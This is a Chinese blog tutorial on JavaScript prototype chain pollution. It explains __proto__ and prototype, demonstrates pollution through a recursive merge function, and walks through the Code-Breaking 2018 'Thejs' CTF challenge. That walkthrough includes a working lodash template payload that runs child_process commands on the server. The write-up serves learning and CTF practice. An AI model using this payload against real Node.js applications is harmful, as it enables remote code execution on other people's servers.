赞
踩
在JavaScript中只有一种结构:对象,也就是常说的"万物皆对象"。
而每个实例对象都有一个原型对象,而原型对象则引申出其对应的原型对象,经过一层层的链式调用,就构成了我们常说的"原型链"。
实例对象可以通过__proto__
访问其原型对象:
例如:
> let obj = {};
<· undefined
> obj.__proto__;
<· {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
而经过不断的调用,最终的原型对象会调用到null
,这将作为该原型链的最后一个环节,与之对应的,作为终点的null
自然也是没有原型对象的
在javascript中,有时会看到大写的Function,这个和小写的function有本质的区别
function 是一个用于定义函数的关键字。
Function 是代表所有函数的内置原型对象。
JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:
例如:
function Foo() {
this.bar = 1
}
new Foo()
上面Foo
函数的内容,就是Foo
类的构造函数,而this.bar
就是Foo
类的一个属性,个人认为一定要清楚this的指向问题;一个类必然有一些方法,类似属性this.bar
,我们也可以将方法定义在构造函数内部:
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...
就会执行一次,这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。而我们希望this.show只调用一次就可以了。所以代码改进如下:
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
我们可以认为原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo
对象,其天生就具有foo.show()
方法,有点像继承,但是又有点区别。
我们可以通过Foo.prototype
来访问Foo
类的原型,但Foo
实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__
登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型,意思就是
foo.__proto__ == Foo.prototype
所以:
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法__proto__
属性,指向这个对象所在的类的prototype
属性先看代码:
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
上面最后输出的是
Name: Melania Trump
对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
last_name
son.__proto__
中寻找last_name
son.__proto__.__proto__
中寻找last_name
null
结束。比如,Object.prototype
的__proto__
就是null
这就是原型链的体现,自身没有就向上找,直到为null为止。
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
例子:
// foo是一个简单的JavaScript对象 let foo = {bar: 1} console.log(foo.bar) //此时会打印 1 // 修改foo的原型(即Object) foo.__proto__.bar = 2 // 由于查找顺序的原因,foo.bar仍然是1, //因为先查找自身,自身有就直接打印,此时不会去找object console.log(foo.bar) //打印 1 // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar) //此时会打印 2 //很明显,zoo本来是一个空对象,但是zoo.bar居然打印出了2 //因为它自身没有,就会根据原型链向上找,然而我们的object上有这个属性,所以它就打印了
例子:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
上面代码在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key
如果是__proto__
,是不是就可以原型链污染呢?
验证一下:
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b) //会输出undefined
结果是,合并虽然成功了,但原型链没有被污染…
因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,我们拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
改进后:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b) //此时会打印 2
此时会打印 2 ,说明新建的o3对象,也存在b属性,说明Object已经被污染
我在本机上简单复现的
首先需要VScode,phpstudy,以及nodejs,burpsuit抓包
然后需要一个环境以及题目
题目Code-Breaking 2018 Thejs :
// ... const lodash = require('lodash') // ... app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) //... app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) })
环境:
下载nodejs后,将web文件夹放在nodejs文件下
然后以管理员身份打开cmd cd进到nodejs/web目录下
输入 npm install
,如下图就可以了
然后npm list
查看一下
接下来把web文件中的index.ejs
的链接地址改为自己本机的IP地址
用node server.js
查看一下监听的端口(一般为3000)
然后用本机地址看看3000端口,如下图:
然后开启burpsuit抓包
然后修改两处
第一处是为了能解析,将x-www-from-urlencode修改为json
第二处是我们构造的playload:
{“proto”: {“sourceURL”: “\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load(‘child_process’).execSync(‘id’)}\u000a//”}}
这里测试ipconfig
到此复现完成。
原理就是用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。而这里的lodash.merge
操作实际上就存在原型链污染漏洞。
在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template
中
options是一个对象,sourceURL取到了其options.sourceURL
属性。这个属性原本是没有赋值的,默认取空字符串。但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL
属性。最后,这个sourceURL
被拼接进new Function
的第二个参数中,造成任意代码执行漏洞。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。